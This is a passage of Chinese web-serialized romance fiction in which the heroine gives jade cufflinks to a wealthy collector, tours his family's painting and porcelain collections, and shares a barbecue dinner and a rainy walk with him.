萧妧妧想不到送什么礼物，找黎行墨打听后，越发觉得他什么都不缺。 挑来选去，她选择了不出错的袖扣和领带夹，正好黎行聿绝大多数时候都穿西装衬衫，送它们倒也算合适。 普通袖扣不在她选择范围里，奢侈品里买成品总觉得有些敷衍。 萧妧妧琢磨了一阵子，决定自己找材料请大师制作，既突显自己的诚心，又不落俗套。 原先想着普通的翡翠蛋面就好，配合18K金，足够好看了，也拿得出手，可拿到成品估完价格又不太满意。 犹豫几天，萧妧妧决定重做，自己画图设计，找申明月买来一块玻璃种帝王绿做主石。 说是玻璃种，其实领带夹一大半的种水更接近龙石种，她特意选择这部分设计成更显眼的领带夹。 至于为什么设计成大王的形象，多少夹杂了一点萧妧妧的恶趣味。 黎行聿西装革履的样子太严肃，太有距离感，萧妧妧难免滋生出恶劣念头，企图打破这份正经形象。 想想看，公司说一不二的大老板，私下却喜欢穿戴有可爱动物形象的饰品，听起来多么反差。 狗头的翡翠袖扣、领带夹是萧妧妧故意为之，设计成普通小狗担心黎行聿误会她的“诚心”，设计成大王的形象则刚刚好，还可以冠以一系列冠冕堂皇的说辞当幌子。 “谢谢，我很喜欢。” 他挑起唇角，语气和神态一同带上惊喜的笑意。 萧妧妧看他捧着首饰盒，目光定在袖扣上，心里止不住得意。 她简直是个天才，能想到这么绝佳的礼物。 不仅有趣而且有意义，接近龙石种的帝王绿翡翠价值不菲，从哪一方面考量，它都是合格的礼物。 拿到成品后萧妧妧估过价，一对袖扣系统给出300万的价格，领带夹种水沾了龙石种的边，所以贵一点，850万。 看到价格后，萧妧妧纠结半天，差点舍不得送出手。 “嘿嘿，你喜欢就好，这可是我特意设计的。”萧妧妧满足地眯了眯眼：“我就知道你会喜欢大王的形象。” 黎行聿多看一眼浓郁又不失鲜艳的绿，眉梢上扬，笑意加深。 “走吧，我们去随园？我记得你说过藏品都放在随园来着。”萧妧妧作势准备出发。 黎行聿收起首饰盒：“随园的藏品主要是书画类，方便专人养护，如果你更想看瓷器、珠宝、翡翠，大半在月牙湾，先从哪里开始？” 萧妧妧勾勒出两个地址的行程路线，果断道：“随园吧，晚饭我订了餐厅，吃完再去看瓷器。怎么样？” 黎行聿点头，问道：“是你上次提过的烤肉店？” 那倒不是。 萧妧妧和小伙伴出去吃饭没那么多讲究，贵的便宜的都能吃，请黎行聿就不太好意思在拥挤的烤肉店。 她打量一眼他身上的米白色亚麻衬衫，放在烤肉店烟熏火燎的环境显得格格不入。 “你想吃烤肉？”品味出黎行聿的弦外之音，萧妧妧试探着改口：“完全可以，反正顺路，正好开学半个月了，最近也没什么假期，按理说不需要排队。” 黎行聿瞥向她脚下的洞洞鞋：“那我们……散步过去？” /：. 他隐约明白爸妈以及爷爷奶奶为什么如此热衷于散步。 漫步在繁华街头，两人的步调逐渐一致，然后保持这种微妙的默契继续前行。 左转有卖花的三轮车，右转有糖炒板栗，每个路口都是一次选择，每一次选择促使他们更加贴近对方的情绪。 漫无目的的行走，新鲜事物不停闯入，眼睛看到的一切都会变成新话题，你来我往间逐渐拉进距离。 偶尔谈兴浓，萧妧妧一路叽叽喳喳，说这家店不如另一家店好吃，说老板养的狗不如大王威武，又会惊呼路灯透过梧桐枝桠的斑驳光影极具艺术感，停下来拍照，然后因为拍不出想要的感觉而泄气。 黎行聿会在这时选择落后半步，听她描述平常而温馨的生活，看她神采飞扬的侧脸。 哪怕不说话，只是静静地走着，手背随着步伐相触的瞬间，比任何时刻更让人心跳加速。 萧妧妧对上他闪烁期待光芒的黝黑眼睛，说不出拒绝的话。 算了，反正她带了雨伞。 “好啊，看不出来你会喜欢散步。” 黎行聿：“平时总困在办公室里，偶尔也想放松一下。” 两人走在傍晚的街巷，入目的一切染上了橙红绛紫色泽，好像一切也都因此变得浪漫起来。 萧妧妧好久没见过这么漂亮的晚霞了，走到街巷某一处，四周没有高楼大树遮掩，忍不住拍了几张照片。 “快，黎行聿你帮我站在这里按几张，我要看看188的视角到底会不会更好看一点。” 听她这么说，黎行聿便想笑，接过手机按照她的指示拍晚霞，没有游客入镜的那种。 萧妧妧来回对比一番，发现身高不同，果然拍出来的东西也有细微不同。 黎行聿的视角就显得更广阔绮丽一点。 萧妧妧嘀嘀咕咕表达自己的羡慕，收了手机继续往随园走。 两人姿态悠闲，一会拍照一会逗弄猫猫狗狗，走到随园时不出意料的闭园了。 但是没关系，黎行聿就是会呼吸的通行证，有他在，两人顺利进了园子。 “先去一趟办公区，有东西给你。” 萧妧妧懵了一会，想不到黎行聿要给她什么东西。 她连忙追上去问，黎行聿只笑笑不说话，故弄玄虚。 “不会是潮玩项目的协议吧？说起来差不多是该到签字的流程了。”她猜测。 黎行聿：“刘秘书在办，这两天会联系你签字，但和它无关。” 萧妧妧挠头，还有什么事吗？ 黎行聿坚持不透露半句，任由萧妧妧围着他团团转，叽叽喳喳像只扑腾的小麻雀。 等萧妧妧扑腾累了，撇撇嘴，沉默下来。 黎行聿遗憾道：“不再猜猜看？” 萧妧妧气定神闲：“不猜了，反正你也没打算说，而且，这不马上到了嘛。” 她指了指转角贴着办公区三个字的指示牌。 黎行聿笑：“先在这里等我一会？” 萧妧妧哦了一声，老老实实在走廊下找了个地方坐着等他。 黎行聿快去快回，身影出现在抄手长廊尽头时，园子的景观灯倏然点亮。 萧妧妧瞅了瞅他背后，不像藏了什么大件物品。 她等不及，小跑着迎上去：“到底是什么？你让我看一眼。” 萧妧妧往他身后钻，黎行聿躲开，她追，他逃，两人纠缠在一起。 萧妧妧纠缠累了，站定，垮着脸瞪他，黎行聿忍笑，猝不及防地伸出手。 “这是……” 萧妧妧猛地看到猪肝色印烫金字的册子，险些以为是不动产证书，定睛一看，眼眸骤然放光。 “收藏协会会员证书。”黎行聿说道。 萧妧妧接过证书打开，照片是她的，下盖压缝印章。 “我现在是国家收藏协会会员啦？”她不可思议地说：“等等，我记得新会员审核需要两个月吧？” 黎行聿之前说是有办法推荐她入会，只需要提供照片即可，萧妧妧后来查过资料，入会审核差不多需要两个月左右，于是放着没管。 “虽然拍卖行无法推荐个人入会，但是收藏协会有五分之三的会员在佳博办理过VIP业务，佳博有这方面的资源和门路，比个人申请会员的速度快一些。” 萧妧妧咋舌，何止快一些啊，直接提前了一大半时间。 而且这段时间里也没人要求复核藏品信息，只有当时发送过去的视频文件资料。 有关系真好啊。 抱着新鲜出炉的证书，萧妧妧喜滋滋，这会也不觉得送出去的帝王绿价值太过。 哪里过了，一点不过，刚刚好。 两人往园子深处走，萧妧妧好奇问道：*“佳博的VIP有什么作用？” 黎行聿耐心解释：“VIP会员在送拍的流程上得到简化，有绿色通道，以及一些费用上的优惠、专属评估服务等。当然，我想他们最看重的应该是‘优先征集’。” “优先征集？”萧妧妧重复一遍，猜测道：“是征集同类藏品时，优先选择VIP客户的藏品？” 黎行聿点头肯定了她的猜测：“正常流程，普通客户送拍藏品会在审核、鉴定这一关耗时，VIP客户无需排队审核，直接进入专家团评估阶段。” “请进，注意台阶。” 说话间，两人来到一座稍显僻静的园子，僻静到不像是身处闹市区。 黎行聿一会输入密码，一会按指纹，一会又扫脸，忙了好一会才听到滴答一声，平平无奇的厚重门板弹开。 萧妧妧暂停话音，先进了阴凉的库房，等他打开室内设备，她发现这才是第一道门。 继续向深处进发，萧妧妧回到刚才的话题。 “听起来成为VIP客户的好处很多，成为VIP客户是不是很难？” 黎行聿没说难，也没说不难，只道：“对外没有准确公开标准，公司内部审查会遵循一套比较严苛的规则，比如参考客户在拍卖会上年投资数额。” 萧妧妧暗道一句果然。 她偷觑黎行聿脸色，小心翼翼道：“可以说数额吗？不能说就当我没问。” 黎行聿摇摇头：“没什么不能说的，2000万，这是一年的投资数额最低线，会员费另算。” 萧妧妧倒吸一口气，一年花2000万在拍卖收藏上，低于标准线次年还会取消VIP资格。 这得是巨富家庭才能达到的水平吧。 “事实上，在这一套规则里，投资数额相对而言是最容易达到的及格线。”黎行聿又道。 萧妧妧不知道该给出什么反应了，花2000万才是及格线，高分线又是什么标准？ 她吞了吞口水，声音飘忽：“方便说一下会员费是多少吗？” 黎行聿想了想：“50万吧，或者60万？” 他很久没有过问佳博的事务，记不清50万的会费是去年还是哪一年的标准。 萧妧妧发现那口冷气吸早了，于是又倒吸一口气。 有钱人在拍卖行一年的会费就能花出去50万，而普通人一年能赚取到的金额说不定只有5万。 萧妧妧一脸震惊，狐狸眼瞪得圆滚滚。 该死的有钱人。 黎行聿好笑地拍拍她后脑勺，提醒她回神，邀请她参观黎家的书画收藏。 【作者有话说】 感谢读者“藏月水寒”,灌溉营养液 +10 感谢读者“婷婷”,灌溉营养液 +1 190 第190章 ◎夸你的意思◎ 萧妧妧进了库房一激灵,有点冷。 看到门口的操控面板，上面显示22°，暗道一句难怪。 她又看上面显示的其他几项数值，默默对自己刚买到手的文徵明扇面说了声对不起。 恒温恒湿,光照也有限制,甚至连空气质量都在控制范围里,只为最大限度的保存古董字画。 与面前上百幅字画相比,萧妧妧保存古董的手段堪称灾难。 而裱装字画的选材，采用博物馆级亚克力。 “字画交由佳博聘请的专业团队打理,定期轮换悬挂，防止潮气侵入,还有些卷轴、油画等，每隔几个月展开一次。” 黎行聿见她看得目不转睛,对书画以外的任何设备都好奇不已，缓缓讲解。 萧妧妧一边听一边咋舌,太精细了。 买得起古董字画的人不少,能做到如此程度保养的人可就不多了。 配套的设备、场地、专业团队,至少需要成百上千万的资金往里砸。 萧妧妧看过这些有的没的,渐渐把注意力放在字画本身。 字画对她而言完全属于另一个领域,要学的东西太多。 她现在的水平，仅能认出上面的字体以及钤印，尤其热门的文徵明、唐伯虎等，冷门一点的连款识都认不出来。 刚开始入门,萧妧妧一度怀疑自己是文盲，别说钤印了,字体字迹分辨不出几个。 她在这方面的知识欠缺太多。 什么卷轴、纸张、笔墨……全是学问。 朝代不同,所用纸张绢本不同,比如麻纸、宣纸、丝绢，颜料与墨色同样有许多讲究。 再是作品的笔法，是流畅或是锋利，还是呆板，这一点大概碍于她毫无艺术天赋，完全看不出区别。 到这里不算结束，接下来是看落款与印章，落款的字体、印章的印泥，也是门道。 专业大师仅凭肉眼能分辨出印泥区别，判断朝代。 最后一步是看装裱，轴头、裱材，每一个时代都其明显风格。 以上但凡有一点对不上，存疑，两点对不上，假的。 萧妧妧听完入门课程，双眼发直。 难怪黎行聿不建议她入手字画，实在考验人，落下一点知识，指不定被人骗了钱。 当然，在专家眼里，画轴甚至不用完全展开，即可判定真假。 她想起上回在杏问的经历，看展的收藏家一个个拿着放大镜琢磨。 萧妧妧当时不以为然，一幅画能看多久啊，后来了解其中门道才知道厉害。 她放眼望过去，600平左右的封闭库房里，存放了大约一百多件字画。 值得投入高端设备养护，可见这一百多幅字画假不了。 萧妧妧偷摸给左手边看不出名堂的手书估价，看到弹出价格显示7000万-1.1亿区间，差点咬到舌头。 “这是谁的字？”萧妧妧指了指7000万，惊奇地问。 黎行聿分辨一会，道：“王阳明的诗卷。” 萧妧妧这下是真的咬到舌头了，王阳明！ 没吃过猪肉，还没见过猪跑吗？ 王阳明可是字画圈里的大热门，真迹存世稀少。 “这幅诗卷是我爷爷年轻的时候，用他当时全部资产买回来的。”黎行聿说道。 萧妧妧不敢吱声了，这才是真的流传有序。 那么大张纸值7000万，其他几副估摸着档次差不多，这么一看，砸设备保养它们相当很有必要。 “这里的字画哪些是你买的？”萧妧妧好奇问。 不同人对藏品选择自有一套考量，有的人选精品，有的人为满足爱好，有的人只为投机。 从他们的藏品里，可以清晰判断出一个人思维模式以及性格。 萧妧妧挺想了解他的体系。 “我对字画的研究不深，大部分是家里流传下来的，”黎行聿领着她往另一侧走：“这几幅是我小时候刚接触收藏时买的。” 萧妧妧凑近去看，这一面墙挂了三件作品，最醒目的当属少女肖像油画。 “维米尔？” 东方字画尚来不及研究，别说西方的了，读出名字，萧妧妧都不能确定维米尔到底是画作名字还是画家名字。 黎行聿从手机翻出另一幅知名度很高的画作给她看。 “约翰尼斯维米尔，荷兰画家，她的代表作之一是这幅《戴珍珠耳环的少女》。” 萧妧妧一看到图片，立刻有了概念。 她看看手机上的图片，又看看墙上的油画，玄妙的感觉在心里翻腾。 天呐，两幅画出自同一画家，一幅藏于美术馆，一幅水灵灵地挂在自己面前。 “大概是我16岁的时候，拍卖行刚好在展出它，”黎行聿忽然笑了一声：“年纪小，没有什么体系的概念，家里人给的任务是花一亿买收藏，要求只有一点，拍下的一年后能以翻倍的价格卖出。” 萧妧妧了然，这是在培养小孩的收藏、投资理念。 黎行聿的选择挺明晰，在油画投资这一圈里，维米尔的作品属于高流通性，不愁卖。 “那你还挺厉害。”萧妧妧赞叹。 换成她16岁手里拿一亿买收藏品，这买买，那买买，钱没了。 萧妧妧试着给油画估价，系统给出9000万~1.5亿的区间，看到价格的她心里酸得冒泡。 别人的16岁。 “上面这幅也是当时买的？” 她又去给上面一幅认不出作者的风景油画估价，看到20万的价格明显愣了愣。 “对，同一年拍下的藏品。这件属于当代艺术，当时这位画家炙手可热，平均一幅画落锤价400万左右，买下它的时候，花了420万。” 萧妧妧傻眼，420万，过去十几年，只值20万…… 她几次欲言，却没好意思问，黎行聿似乎看出她的疑惑，解释道：“热度过去后，这位画家的作品几乎一文不值。吃一堑长一智，我选择把它留下，当成一个警诫。” 萧妧妧抽了抽嘴角，那这个警诫还怪扎心的。 既然一文不值，萧妧妧也没去打听画家名字，转而看向C位。 C位的荷花图她眼熟，学习文徵明的时候顺带了解过，看钤印就知道是沈周。 “它摆在正中间，难道有什么说法？” 黎行聿笑着点头：“其实，这件也是一个警诫。” 萧妧妧啊了一声，不可置信地看他一眼，又赶紧给它估价。 “审慎，戒骄戒躁。”他说：“这件是在维米尔的油画之后拍下，当时心态有些飘，没能听取专家意见。” 黎行聿话音落下，系统估价同时完成，萧妧妧不知道真迹大概处在什么价位，但给出30万的价格，必定是仿品了。 三件画作，尝试了三种不同收藏方向，其中两件无疑是失败投资。 萧妧妧恍悟，原来黎行聿之前给她的建议，全是经验之谈。 道不轻传，黎行聿愿意把自己的吃亏经验总结并主动分享出来，大善。 “你人真好。” 听到耳边传来萧妧妧突如其来的莫名感叹，黎行聿不禁愣住，不知道她回的是哪句话，说的是哪件事。 “哦，我是说谢谢你愿意告诉我那些经验，毕竟我刚入收藏圈，没人提醒的话，难免走弯路。”她诚恳地说。 医不叩门，不求不助，并不是每个人都愿意好心的、主动的、不求回报给予他人帮助。 这便突显了黎行聿的可贵，大善，超大善。 黎行聿眉目舒展，垂下眼帘笑着看她。 “择人而教。”他说。 萧妧妧仰头看过来。 黎行聿缓缓道：“不贵其师，不爱其资，虽智大迷。①” 萧妧妧满眼迷茫，这又是什么意思。 未免显得自己没文化，萧妧妧没应声，微笑应对。 黎行聿笑出声：“夸你的意思。” 萧妧妧窘迫的红了耳根。 她趁黎行聿转身的工夫，偷偷查了资料。 看起来是夸她不仅聪明，还听劝，值得帮助的意思？ 看完释义，萧妧妧的狐狸眼弯成月牙形状。 继续朝着库房深处走，萧妧妧这里看看那里瞄瞄，想知道黎家的精品们都是哪些。 纯欣赏，不必分辨真伪的情况下，一百多幅字画看起来非常快，眼看要走到头可以折返回去，萧妧妧忽然看到了自己心心念念的钤印。 “唐伯虎？真的是唐伯虎？”萧妧妧惊呼出声，整个人趴上亚克力板上。 十唐九假的说法在圈子里人尽皆知，这种说法自百年前就有，足以见得唐伯虎真迹有多稀罕。 画作数量本就稀少，且多藏于博物馆，私人藏家手里流传的真迹一只手数得过来。 “听瀑图……原来在你家啊。” 面前挂着的唐伯虎真迹自然不会是立轴了，而是一幅17×47.7cm的扇面，绘山水画。 萧妧妧对它有印象，是因为她一直惦记买个唐伯虎的作品，手卷、立轴随便哪个都好，但这几乎不可能，扇面倒是有希望。 她查过国内外各大行的拍卖记录，真让她找到几件唐伯虎扇面的拍卖记录。 其中的听瀑图扇面，在十五年前便拍出了600万的价格，放在当下只怕连翻几倍。 买家信息肯定不会公布，萧妧妧看个热闹，留个念想，没想到会在这里碰见。 黎行聿见她五官几乎贴了上前，好笑地拉开她，从底部阴影处按了一串密码，打开亚克力板。 “前面有桌子，过去仔细看？”他取下裱框递过来。 萧妧妧心脏猛地一跳，赶紧推回去连声求他挂好。 这要是不小心摔了磕了，罪孽深重啊。 黎行聿见她是真不打算接，只好挂回去。 萧妧妧能看到唐伯虎真迹已然心满意足，得到黎行聿同意，拍了一张照片存在手机里。 离开之前，萧妧妧多看一眼那张7000万的手卷，又瞄一眼估价过亿的维米尔油画，再想到深处有一幅唐伯虎，羡慕得眼眶发红。 出了随园，天色要黑不黑，萧妧妧刚好肚子咕咕叫，大手一挥，请他吃烤肉。 两人慢悠悠地走着，路过奶茶店，萧妧妧随手一指：“上次跟你说过的那家，记得吗？想喝什么？” 黎行聿看一眼粉嫩招牌，试图婉拒，可对上她亮晶晶的注视目光，婉拒的话说不出口。 “都可以，按你推荐的来。” 萧妧妧来劲了，拉着他商量。 黎行聿不爱喝奶也不爱甜，在萧妧妧极力推荐下，最终在花里胡哨的菜单里选出青芒汁。 萧妧妧从店员手里接过饮料，迫不及待分享给他，期待他的评价。 黎行聿是见她眯起狐狸眼满脸享受的样子，试探着吸了一口酸溜溜的绿色液体。 “……” 黎行聿没忍住，五官稍显扭曲。 萧妧妧一直偷瞄他反应，见状差点没憋住笑。 她掩饰性地低下头，收敛好表情，若无其事拿走他手里那杯青芒汁送还给店员，请店员多加点冰块和糖，冲淡酸味。 “你放心，烤肉肯定符合你胃口。”萧妧妧举手发誓。 青芒汁重新加工后，味道淡了许多，黎行聿盯着她眼巴巴的目光，多喝两口，违心给出“好喝”的评价。 萧妧妧看他神情变幻，抿唇忍笑。 有一搭没一搭的闲聊着，很快走到烤肉店时，队伍刚结束，两人一进店就有空座安排。 萧妧妧哇出声：“我们运气真好。奶茶店没排队，烤肉店也没排队。” 黎行聿学着她拿来纸巾擦桌子，看不到油光才罢休。 他说：“是你安排得好。” 萧妧妧就喜欢听好话，得意昂头。 为了弥补青芒汁带来的伤害，萧妧妧特地根据黎行聿的口味点了游客专享的清淡菜品。 看得出来黎行聿挺喜欢这家烤肉，对周围的嘈杂也适应得很，甚至入乡随俗学会用热水烫餐具。 “……你从刚才就一直在偷笑，”黎行聿把烫好的餐具推到她面前，挑眉：“我做错了什么？” 萧妧妧当然不会说实话，岔开话题：“你看错了，快，烤肉烤肉。” 碳火放进桌下，烤盘盖上，萧妧妧拿起夹子忙活起来，黎行聿根本抢不过她。 “今天是我请你吃，黎老师就坦然享受吧。” 说着，一片沾了黄油的五花肉放进他的餐盘里。 饭后还有安排，两人默契地加快进食速度。 天色黑透，离开烤肉店时，外面不知道什么时候下起了雨，雨势还不小。 萧妧妧嘿嘿一笑，撑起雨伞。 “还好我早有准备。” 看了看黎行聿的身高，伞交给他来撑，正好伞够大，两个人完全可以容纳。 雨中漫步，又是另一种感受，黎行聿不由想到萧妧妧在人行道上蹦蹦跳跳踩水，险些一头扎进他怀里的事。 嘴角噙笑，偏头看她，萧妧妧一手提着一边裤管，仗着洞洞鞋不怕水，尽往水坑里踩，洞洞鞋咯吱咯吱响了一路。 黎行聿正相反，积水浸湿皮鞋裤腿，看起来狼狈。 萧妧妧注意到他的皮鞋，可以想象有多难受，也不只顾着踩水了，加快脚步。 这一段路本就不长，两人刻意加速的情况下，又走了十来分钟左右，总算到了月牙湾88号。 房子里看起来灯火通明，萧妧妧问：“家里有人？” 黎行聿：“嗯，爸妈在住。” 萧妧妧不禁严肃表情，做出一副正经样子。 两人先后进了门厅，佣人见他们身上狼狈，赶紧递来毛巾准备热茶。 主要是黎行聿狼狈，萧妧妧除了脚底潮湿，身上干爽，随便打理一下就好。 “你在客厅等等，我上去换身衣服。” 萧妧妧拘谨地点头。 她刚坐下，百无聊赖地打量别墅内部装饰挂画，猜测出自哪位画家之手，楼上传来摔门声，吓了她一跳。 佣人放下茶水，安抚道：“应该是风吹的，客人稍坐。” 只是没等佣人上去查看情况，怒冲冲的女声传来。 “姓齐的那一家太过分了，我联系雁如还要他们同意？” “她那个小叔子，齐老六，简直不可理喻，嘴上答应会仔细查，去了之后看两眼就走了，回来还说我多管闲事。” “神经病，我管的是雁如，和他们齐家人有什么关系？” “我早就跟雁如说过，她那个老公一家子都不是好东西。” “……你别劝我，你要想帮忙，把姓齐的那一家收拾了，我看小yuan走丢的事和他们脱不开关系。” 别墅宽敞到空旷，楼上走廊深处的对话扩到大厅时，已经听不清多少内容。 萧妧妧一时分不清是黎行聿的爸妈吵起来了，还是叶赛宁打电话和别人吵，只当自己没听到。 祈祷不是他们吵起来了，她一个外人在这里，多尴尬啊。 佣人讪笑一声，匆忙上楼。 萧妧妧垂下头，抱着杯子喝茶，希望黎行聿快点出现。 【作者有话说】 明天会晚点发，如果赶不上的话会请假[捂脸偷看] ①出自《道德经》：不贵其师，不爱其资，虽智大迷，是谓要妙。 感谢读者“大宝贝”,灌溉营养液 190-200 191 第191章 ◎他是不是喜欢我啊？◎ 她的祈祷很快实现,楼上再没传出动静。 一杯茶喝到底时，叶赛宁先出现了，站在二楼的走廊朝她挥手，惊喜神情做不了假。 萧妧妧不禁摸了摸脸,她有这么讨喜吗？ 叶赛宁在她身边坐下,拉着她的手左一句右一句问。 “谢谢阿姨,吃过晚饭过来的。” “不,我们是来看您家的藏品。” “……也没有很熟，才认识一两个月。” 萧妧妧顶着慈爱的目光,老老实实回答，心里在喊救命。 好在她笑容僵硬的时候,黎行聿终于出现。 萧妧妧得救似的松了一口气，眼巴巴盼着他赶紧下来。 叶赛宁这时笑眯眯起身：“时差没倒过来,我先回去睡觉，你们慢慢看。南市留下的东西不多,妧妧你要是感兴趣,哪天跟我们去京城,那里还有呢。” 她摸摸萧妧妧后脑勺,离开时又拍拍大儿子的肩膀,哼着歌离开。 萧妧妧多瞅一眼，完全看不出刚才在楼上发脾气的人是她。 “你妈妈真活泼。”萧妧妧疲惫微笑。 看得出来叶赛宁婚后生活很幸福，她的幸福体现在心态以及精神面貌上，素颜状态红光满面,眼神清澈明亮。 黎行聿耸耸肩，语气说不上是什么心情：“他们……心态确实年轻。” 萧妧妧品出其他意味,“你现在的表情看起来有点一言难尽的意思。” 黎行聿领她去地下室,走在前面带路,时不时侧身回话。 “从我有记忆以来，他们每年换一个国家、城市旅居，过年都不一定回来见一面。 所以我从小跟着爷爷奶奶长大。 到了我的弟弟妹妹们，他们也没怎么操心过，突然把孩子丢回来，留下一句‘亲生的’就走了，最后又变成我和爷爷奶奶一起照顾更小的孩子。” 萧妧妧哇哦一声，不知道该羡慕夫妻俩会过日子，还是同情黎行聿。 转念一想，黎行聿16岁就有权利分配一个亿的资金，用不着她同情。 “难怪黎行墨那么怕你呢。” 黎行聿笑笑：“他不怕我，否则也不会三番几次旷工，他只是习惯性把我当成家长。” 萧妧妧跟着笑起来，看得出黎行墨不爱上班，光是她撞见的迟到早退就有许多次。 “那你爷爷奶奶呢？” 黎行聿神情平淡地说：“我成年那天，他们选择退休，和我爸妈一样去过二人世界。后来我去国外留学，弟弟妹妹只能跟着我一起出国。” 好吧，萧妧妧承认，他确实挺值得同情的，年纪轻轻成了家里的顶梁柱。 “你们兄弟姐妹感情肯定很好。”萧妧妧说。 她没见过黎行聿的妹妹，听说也学着父母开启了环球度假，但放心把孩子丢给哥哥弟弟照顾，可见很信任兄弟俩的带娃能力。 萧妧妧瞄了瞄走在前面的颀长身影，再不会觉得他有距离感了。 一想到黎行聿像个奶爸一样领着弟弟妹妹生活，工作后还要继续看顾妹妹的孩子，再看他，突然多出一种老实可怜人的破碎感。 有点好笑。 黎行聿玩笑道：“应该算好吧，毕竟相依为命过？” “当然，他们也不是不闻不问，小墨最混帐的那几年，我们一家人都很头疼，为此想过许多办法。” 萧妧妧隐约听说过，却不清楚他到底多混帐。 “飙车、极限运动、泡酒吧……不想上课，他就坐在教学楼顶撒钱，撒得全校没人上课，守在楼下捡钱。那时候老师校长轮番找我谈话。”黎行聿毫不留情地揭弟弟老底。 萧妧妧发出羡慕的惊叹，这种好事怎么没发生在她的学校。 “大概是叛逆期吧，不好管，后来出了意外才学乖。只乖了一点。”黎行聿继续吐槽。 萧妧妧不知道能不能问是什么意外，倒不是想吃瓜，而是听到一半心里难受。 黎行聿对上她探究的目光，接着说：“他太高调了，绑匪绑了他要赎金。” 萧妧妧瞪大眼睛，绑匪绑架的剧情，她只在电视剧里见过。 黎行聿推开一扇门，请她进去，接着讲述：“当时爸妈联系不上，爷爷奶奶年纪大了，是同在国外疗养的萧阿姨帮忙出面解决。萧阿姨是我妈年轻时候认识的朋友，关系很好，后来因为各种事情减少了联络。” 萧妧妧没能注意他提起这位萧阿姨时看过来的古怪目光，满脑子琢磨绑架的事。 “所以他改过自新了？” 黎行聿摇摇头：“没有，依然我行我素。大约半年后，绑匪越狱找来报复，造成一场连环车祸，车祸之后，他才老实。” 萧妧妧默了默，不知道该如何评价。 “那场车祸后，一直照顾我的保姆路易莎为了救我们受重伤，声带和听力受损，之后她就留在国外治疗。” 那还挺坎坷的……萧妧妧想了想，踮起脚拍拍他肩膀，就当是安慰吧。 黎行聿推开最后一道门，道：“11月在伦敦的拍卖你会参加吧？到时候可以住在我家，你会见到路易莎。” 萧妧妧思绪跳到11月，“你也要参加拍卖？” 黎行聿嗯了一声：“有几个感兴趣的拍品。” 萧妧妧高兴应道：“好啊，那就一起出发？” 黎行聿看着她笑了笑，抬手做出请的姿势：“汝窑、钧窑、龙泉窑……你感兴趣的都在这里。” 萧妧妧顺着他胳膊转移视线，眼睛唰一下亮了。 “这么多啊，有200件吗？” 黎行聿回想一下：“差不多，230件左右。” 他指着右侧的恒温展示柜：“这一排是元青花，旁边是唐三彩，每一排柜子是一个朝代。” 萧妧妧赶紧打住，搓了搓手：“你别说，让我来看看是哪些朝代。” 黎行聿退开半步，让她先进去。 萧妧妧不客气了，先从元青花看起，各种熟悉的不熟悉的器型都能在这里找到。 而唐三彩颜色稍显浓厚，多是碗、壶、杯等生活用具，不是萧妧妧以为的唐三彩动物、人物俑。 欣赏完这两类，再到旁边清丽的青色瓷器，萧妧妧扫一眼数量，立刻道：“龙泉窑！” 黎行聿：“恭喜你回答正确，要不要再猜猜看，这里哪一件是汝窑？” 萧妧妧啊了一声，“汝窑不值得单独一个展示柜吗？” “太多了，塞不下。”他直白说道。 萧妧妧抽了抽嘴角，好朴素的理由，听得她嫉妒。 不过放眼望去，一个展示柜里至少二十多件陶瓷，挨挨挤挤摆在一起，整件地下室基本全塞满了，确实没有合适的地方单独存放汝窑。 萧妧妧俯下身，贴着亚克力板，一件一件看过去。 “这件吧？像肥皂盒的那个，我记得在博物馆里见过类似的器型。” 萧妧妧指着众多龙泉窑青瓷中，某一件形似肥皂盒的水仙盆。 黎行聿：“恭喜，又答对了。” 萧妧妧看了又看，越看越喜欢，汝窑青瓷可真漂亮，难怪孟有树念念不忘。 “似乎有使用痕迹？”萧妧妧不确定的说。 黎行聿点头道：“爷爷在家的时候经常练字，会拿它当笔洗用。” 萧妧妧抿了抿嘴角，羡慕得流口水。 她拿到汝窑杯子后，没忍住装了矿泉水，感受一下汝窑茶杯喝水会不会有哪里不同。 为了配得上汝窑，矿泉水是依云的，牙齿是刷了两遍的，嘴唇是做过护理又擦得干干净净的，生怕唇角干燥皮肤损害了大名鼎鼎的汝窑。 萧妧妧可以发誓，就算是和别人接吻，她也不可能做到这种程度。 当然，味道并没有哪里不同。 萧妧妧挺想了解一下把古董当正常器具使用的人的心态，反正她舍不得。 “还有一件汝窑，上个月从国外某个私人藏家手里买来，继续猜猜？” 萧妧妧瞪圆了眼睛，这么漂亮的汝窑，他竟然有两个。 萧妧妧嫉妒得要发疯，马上俯下身在展示柜前寻找。 “是这件？”她指着最边缘的一只莲花纹大碗，扭头确认。 黎行聿故弄玄虚片刻，在她催促的目光下，缓缓点头。 萧妧妧嘿嘿笑，她的眼力有长进啊。 她半蹲下来，眨巴眼睛瞅着比她脸大的碗。 天青釉，碗身呈现莲花瓣状，釉面开片自然，器型线条优美，当之无愧的精品。 萧妧妧：“你爷爷应该不会拿它当成吃饭的碗吧？” 黎行聿耸肩：“或许吧。” 看出她眼底的喜爱，黎行聿打开展示柜请她上手触摸欣赏，萧妧妧毫无抵抗之力，顺从地接受了。 一件汝窑莲花碗，一件水仙盆，萧妧妧足足看了十多分钟，过足了瘾，然后才去看接下来的钧窑、官窑。 因为瓷器紧凑摆放，萧妧妧在每个展示柜前逗留的时间都不短，尤其发现瓷器下面的底座采用了紫檀黄花梨等名贵木料，她看得更仔细了。 叫得上名号的窑都能找见，各个朝代的陶瓷也都有个几件十几件，至于器型，萧妧妧像是看了一本瓷器器型的百科全书，她知道的不知道的器型全在这里。 如果再说颜色，常见的青白黑红蓝每种都有不少，且件件有细微不同。少见的克莱因蓝、孔雀蓝、淡粉、渐变紫……太多太多了。 萧妧妧一圈转下来，看一件爱一件，收集癖发作，恨不得也集齐这么一套全朝代、全工艺、全器型、颜色的陶瓷。 “翡翠和珠宝在楼上，来都来了，一起看完吧。”黎行聿如此说。 萧妧妧喜欢这句来都来了，满怀期待跟他上楼。 三楼最深处的套房，一进门就是各种贴墙的亚克力展示柜，随着主灯射灯氛围灯亮起，萧妧妧眼睛差点转不过来。 “这是我见过的最富有的奥特曼。”萧妧妧神情微囧的说。 谁能想到，首饰柜里最齐全的是奥特曼，看数量，整个家族都关进去了。 至于为什么说它们富有，这些奥特曼手办看起来纯金打造，比一般手办尺寸大些，每个奥特曼还充当展示架。 脑袋顶戒指，脖子挂项链，手臂勾手镯，腰上缠着珍珠钻石饰品。 这盛况，确实值得参观。 萧妧妧不仅参观了，还征求黎行聿同意，拍了张照片纪念。 “看起来像你弟弟的风格。”她评价。 黎行聿挑眉：“看起来你已经很了解他了，确实是他小时候弄出来的。 